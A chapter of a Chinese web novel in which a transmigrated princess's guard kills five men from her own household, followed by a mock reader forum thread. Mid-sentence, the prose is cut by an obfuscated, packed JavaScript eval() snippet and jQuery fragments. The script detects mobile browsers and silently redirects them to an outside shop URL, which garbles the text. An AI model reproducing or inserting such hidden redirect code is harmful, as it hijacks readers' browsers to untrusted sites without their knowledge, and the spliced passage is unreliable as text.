那伙人有五个,皆举着火把,踏着枯叶追赶而来,速度飞快。
祝青鲤步履匆匆,加快脚步奔逃。裙摆里好不容易采集的野菜和蘑菇掉落一地,她来不及捡起,只能拽紧裙摆避免更多东西掉落。
灌木丛越来越密,她折过几个弯,脚下的黑土不知什么时候满是青苔,奇形怪状的石头嶙峋错落,前路更崎岖不平。
身后追逐的脚步声越来越近,祝青鲤心急如焚,转进另一个草垛时,发现草垛后是一个斜坡。
回眼一望,五支火把明晃晃的,几乎快要照出自己,她一咬牙,翻越草垛,一横心,双手抱头,蜷缩身体,直朝斜坡滚下去。
天地倒转,身体不受控地骨碌碌往下翻滚坠落,泥土间的碎石硌得浑身疼,倏然又被不知哪来的枯枝撞了一下腰,腰间用裙摆捆扎好的食物甩飞一地。
祝青鲤艰难地稳住身形,匍匐着向草丛更深的阴影处爬去,屏息凝神,缩成一团,和黑暗彻底融为一体。
追兵匆匆赶至,在草垛周围停住,一时之间却没发现草垛后有一个斜坡。
“不见了?”
“刚刚那影子不壮,应该是一个女子。”
“再往前找找吧。”
这群人一边说着,一边继续往前找。
然而黑影的踪迹一消失,就再也没出现过,这群人眼看着越走越远,仍无半分踪影,气馁地停了脚步。
“殿下真的会在这个时候出现在这片山野密林里吗?”
“公主殿下在两日前从长宁城出发,按照脚程,差不多是这了,刚才那辆马车停在那,车里又没人,说不定是殿下的呢?”
“要不我们回去等吧。”
“不,如果那个人真是殿下,为什么要跑呢?难道她把我们误会成了追兵?我们到处再找找吧。”
为首的人往前走了两步,脚步忽停,一股冰凉的杀气在四周升起,激起他的警觉,直觉告诉他:暗中正有双眼睛盯着他们。
果不其然,墨夜里,一道冰冷的询问突兀地传来:“公主府的?”
“谁?”这群人立即握紧了手里的刀,警戒地盯着黑暗的树林。
那人却不说话了,仿佛在静静地等待他们的回答。
为首的人站出来,亮出刻着“昭临公主”的令牌:“我们是昭临公主府的,奉命寻找公主,护送公主回京。敢问阁下何人?可曾见过公主殿下?”
无人回应。
众人茫然四顾,正要再问,却听“铮”然一声,寒刃龙鸣间陡然出鞘,暗夜里寒芒一闪,刺破夜空,直逼咽喉。
为首的人抽出长刀,急喝:“是山贼!”
话音方落,又一声铿然,一抹暗影如惊雷出电,下一秒已然刀剑相击,接续几个起落,游龙飞旋,二人打得难舍难分。
周围人皆抽出刀剑迎击,沉寂的竹林里,刀剑破空、铁器碰撞、刀戟入肉,细枝碎叶尽被踩裂,竹叶簌簌落下,呵斥扰攘声不绝。
几息的功夫,唯剩一人收剑入鞘。
那人抹去面颊上的血,拾起地上尸体的公主府令牌,粗看一眼,便抛掷向更深幽的密林里。
他走向草垛,翻身滑下斜坡,找到祝青鲤,从容跪地:“属下救驾来迟,公主息怒。”
祝青鲤正拾起散乱一地的野蘑菇,被他的出现吓了一跳,发现是温戎,才稳住心神:“温戎?还好你来了,你看见追来的那一伙人了吗?”
“公主放心,属下已处理。”
祝青鲤装好了食物,把裙摆再次系好,闻言一喜,由衷地夸赞:“这么快!你好厉害。”
她一边在他的帮助下爬上小坡,拍去身上的脏污,一边向温戎诉说自己采到了很多蘑菇,提议待会回去得搭个火堆,煮个蘑菇汤。
回去的路上,他们经过了那五人命丧黄泉的地方。
满地狼藉,横尸一地,肃杀之气仍萦绕在幽林,如森森白骨手挠着她的背脊,冷瑟瑟的。
这群人几分钟前还在追杀她,转眼间,好端端的活人横尸在地,成了一具具冰冷的死尸。生平没见过死人的祝青鲤,饶是心理再强,也不免感到一阵渗人的寒意。
若是再慢一步,恐怕躺在地上的就是自己了。
祝青鲤正暗自庆幸,脚下踏着一块硬物,低头便看——一块刻着“昭临公主”的令牌。
这不是她本人的封号吗?这群人……
等等!
霎时间灵光一闪,心中如遭雷击,祝青鲤浑身一僵,刹那间闪过一个不敢置信的念头。
她极快地把地上的令牌一捡,塞入袖中,回首匆匆瞥一眼,快步跟上。
跟在温戎身后,她无声地注视着他的背影,心中万分激荡。
她固然希望温戎是将公主府的人当成了追兵而误杀,却也不得不接受,在他那疏离冷漠又规矩守礼的外表下,藏着一颗不属于她的忠心。
有什么观念正在被捣碎,一地碎片里,一种新的念头又在悄然孕育。
头一次,她发觉这里的人没有她所想的那么友善亲和。
这到底是一个什么样的时代?
皇城遭难,宗室逃亡,死者不计其数。这一路走来,哀鸿遍野,生灵涂炭,百姓流离失所。
无处不在的尊卑观念,封建的礼教,吃人的规矩,让她在这时候才意识到,自己到了一个怎样残酷冷血的世界。
这个世界没有现代的平等和谐,人与人并非纯良和善,到处是权利的倾轧,阴谋在每个人心中酝酿。王翰才下台,各方势力必定虎视眈眈地盯着宫中的皇位。
她不知这位国舅如何看待回京的她,不知道王翰是否会卷土重来,也难保其他藩王不会酝酿着起兵,她回去后还能像曾经一样拥有偷生的一席之地吗?
她的二皇兄若是真正关心她,带她远走又何妨?怎会毫无理由地遣送她独自回宫?
还有温戎,他本就是二皇子的手下,于她根本毫无忠诚可言,他会将自己安然无恙地送回去吗?
当下,她的疑问未必能获得真实回答。
她只知道,此去皇城,必定少不了一番勾心斗角。
祝青鲤的内心,慢慢归于平寂。
回到马车旁,温戎自觉地拾柴支起煮锅,祝青鲤回车厢里藏好令牌,拿出碗筷,将下车时,发现温戎采给她的野果还堆在角落,一颗也没动,索性一起拿下了车。
她在火堆旁蹲下,锅里的蘑菇汤已经煮熟,咕嘟咕嘟冒着泡泡,她就在旁边把青枣等野果洗干净,递给他。
温戎握勺舀汤的手一顿,视线从锅中抬起,看着递到眼前的青枣,一愣,又抬眼,视线落在祝青鲤脸上。
跳跃的火光把她秀气精致的眉眼映亮,长睫卷翘,黑瞳如幽深的玉,脸颊斑驳着一点泥渍,发丝上挂着碎叶,却掩不住与生俱来矜贵气质。
一瞬抬眼又立刻收回目光,回落到递来的青枣上,心尖上一抹似有若无的心虚闪过,擦了擦血迹未涸的手,双手接过,低声道:“谢谢公主。”
“一人一半。还有蘑菇汤。”
他听见公主还要把更多食物分给他,惶然婉拒:“属下不饿。”
祝青鲤咬了一口青枣,睨他一眼:“两天没吃也不饿?”
温戎垂首:“不饿。”
“……”祝青鲤把手一伸,下巴一抬,“勺子拿来。”
她抢过他手里的汤勺,装了满满一碗蘑菇汤,硬塞给他:“这里没有你不饿的份。吃。”
温戎接着碗,神思迷惘。暗卫伺候主子天经地义,即使真饿了也是找个角落对付几口,还从未有和主子同餐共进的时候。
他试图回递,公主却已经把那口锅摘下,就端着锅豪爽地吃了起来,再没空搭理他。
心中的惊愕无以言表,又不动声色地按捺下,他轻声道了句“多谢公主”,才慢吞吞地吃起来。
祝青鲤吃完蘑菇喝完汤,饥饿感总算消失,站起来消了消食,对面的温戎见她要走,立刻放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570618|204913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
碗筷。
“吃你的。”祝青鲤把他按下,围着火圈踱了起来,慢悠悠道,“今晚就在这过夜吧,你也歇一晚,明早再启程。”
“是。”温戎恭声答。
当了这么些年牛马的祝青鲤此刻发现还有比她更苦命的下属,忍不住生出些同病相怜的同情来,懒洋洋问:“小温啊,今年多大了?”
“回公主,属下廿二。”
才二十二啊……和上一世的她也没差多少岁嘛。
“家住哪?父母是哪里人?”
“属下侍候二皇子府上,无父无母。”
他恭谨温顺,问什么便答什么,甚至连碗也放下了。祝青鲤不想影响他吃饭,也不再追问下去。
“我回去睡了,你吃完也去休息吧。”
她不知道温戎平时睡哪,但找到一处休息的地儿于暗卫而言大概不难。
“是。”
温戎目送着公主回马车,想起这两天公主上车前都需踩着矮凳,立即起身上前帮忙。
谁料吃饱喝足的公主比他想象中要矫健,扶着车辕,蹬腿,纵身翻上,径直钻进车厢,动作笨拙,却十分流畅。
温戎上前的脚步顿住,门帘微动,她又探出脑袋来扬声叮嘱:“必须全部吃完哦。”
直到他颔首应是,她才把帘子放下,消失在视线里。
古朴的马车停靠在竹林,马儿也在休憩。
篝火还燃烧着,温热的火光跳动,黑暗里这束唯一的光,照亮地上的野果,映着那喝了半碗的蘑菇汤。
他重又坐回篝火旁,把火浇灭,视线不由自主地盯着熄灭的碳火。再端起碗时,却觉这半碗蘑菇汤格外沉重,怎么也喝不下。
长夜漫漫,带着他的纠结难安,一并归于寂然。
-
祝青鲤发现,接下来的行程,温戎变得很善良。
食物仍是从门帘一角悄然递进,不过比以前多了许多花样:水果种类愈加丰富,不再是酸得倒牙的野果,水总是甘甜的山泉水,时而还有一股淡淡的花香。
遇到溪流,他还会停下马车捕几条鱼。
他眼力极佳,反应也敏捷,用削尖了的树枝一扎,便穿破了鱼肚,溪里刮鳞去心,用树枝穿成鱼串。放到岸边的石头上。
祝青鲤便在岸边拿着他抓来的鱼去烤,烤得喷香。
【恁给俺一个说法】:
[图片:香喷喷的烤鱼]
【期末周仁慈的上吊绳】:我擦……见者有份,给我一串!
【AAA缅北无痛嘎腰子】:他要了那俺也要
【老衲在此】:今日无事,观此帖,赔我一串
【草莓狗蛋糕】:不是在山里吗?哪来的烤鱼?
【恁给俺一个说法】回复:温戎抓的。
【草莓狗蛋糕】:你那暗卫哥?
【恁给俺一个说法】回复:对。事实上,昨晚我遇到公主府的人了,但是被他给杀了。这应该算赔礼?
【草莓狗蛋糕】回复:妈呀小姐姐,他杀了来找你的人?我就说他不是什么好人,他可是你二哥的人,你可别哪天被他神不知鬼不觉刀了啊!
【热心市民于小姐】:我靠……危险分子竟在你身边!他连你的人都敢杀,你以为他不敢杀你吗?快找机会跑啊。
【哎哟喂诶诶】:好危险啊帖主!!你现在没事吧?快逃哇!逃得越远越好!!
【恁给俺一个说法】回复:他要是想杀我早把我抹脖子了,不至于折腾到现在,目前看来情况不算太糟,而且,他很牛X,能一打五那种,我想跑也跑不了QAQ。
【热心市民于小姐】回复:原来是人质,怜爱了
【冥枯】:看起来他现在的任务的确是送你回京,能给你抓鱼代表没有杀你的打算。但你最好小心点,别惹怒了他,回京后要么收买,要么赶紧把他谴走。
【恁给俺一个说法】回复:谢谢大家关心T^T,我要烤很多条烤鱼孝敬你们……